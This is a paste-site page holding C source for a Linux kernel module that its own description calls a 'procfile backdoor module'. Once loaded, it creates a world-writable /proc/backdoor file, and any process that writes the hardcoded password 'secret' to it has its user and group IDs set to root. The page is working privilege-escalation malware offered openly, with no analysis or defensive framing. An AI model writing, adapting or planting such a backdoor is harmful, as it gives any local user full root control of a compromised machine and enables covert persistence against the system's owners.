Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 5th, 2012  |  syntax: None  |  size: 1.80 KB  |  hits: 11  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #include <linux/module.h>
  2. #include <linux/kernel.h>
  3. #include <linux/init.h>
  4. #include <linux/proc_fs.h>
  5. #include <linux/sched.h>
  6. #include <linux/pid.h>
  7.  
  8. #define AUTHORS "dunamis"
  9. #define DESC "procfile backdoor module"
  10.  
  11. struct proc_dir_entry *procfile;
  12. char filename[] = "backdoor";
  13. char filecontent[100] = "";
  14.  
  15. char password[] = "secret";
  16.  
  17. /**
  18.  * Read data from the proc file
  19.  */
  20. ssize_t procfile_read( char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data )
  21. {
  22.         /** copied from sys_setresuid() */
  23.         return sprintf( buffer, "%d\n", current->pid);
  24. }
  25.  
  26. ssize_t procfile_write(struct file *file, const char *buffer, unsigned long count,
  27.                    void *data)
  28. {
  29.         if( count < strlen(password))
  30.                 return count;
  31.         if( strncmp( password, buffer, strlen(password)) != 0)
  32.                 return count;
  33.                
  34.         struct cred *new = prepare_creds();
  35.         new->uid = new->suid = new->euid = 0;
  36.         new->gid = new->egid = new->sgid = new->fsgid = 0;
  37.         commit_creds(new);
  38.        
  39.         return count;
  40. }
  41.  
  42. /**
  43.  * Module init function
  44.  * Sets up the procfile entry
  45.  */
  46. static int __init backdoor_init(void)
  47. {
  48.         procfile = create_proc_entry( filename,  0666, NULL );
  49.        
  50.         if( procfile == NULL )
  51.         {
  52.                 printk( KERN_ALERT "Failed: could not register /proc/backdoor" );
  53.                 return 1;
  54.         }
  55.        
  56.         procfile->read_proc = procfile_read;
  57.         procfile->write_proc = procfile_write;
  58.         procfile->uid = 0;
  59.         procfile->gid = 0;
  60.         procfile->size = 0;
  61.  
  62.         /*
  63.          * A non 0 return means init_module failed; module can't be loaded.
  64.          */
  65.         return 0;
  66. }
  67.  
  68. /**
  69.  * Module teardown
  70.  * Unregister the procfile entry
  71.  */
  72. static void __exit backdoor_exit(void)
  73. {
  74.         remove_proc_entry( filename, NULL );
  75. }
  76.  
  77. module_init( backdoor_init );
  78. module_exit( backdoor_exit );
  79.  
  80. MODULE_LICENSE("GPL");
  81. MODULE_AUTHOR( AUTHORS );
  82. MODULE_DESCRIPTION( DESC );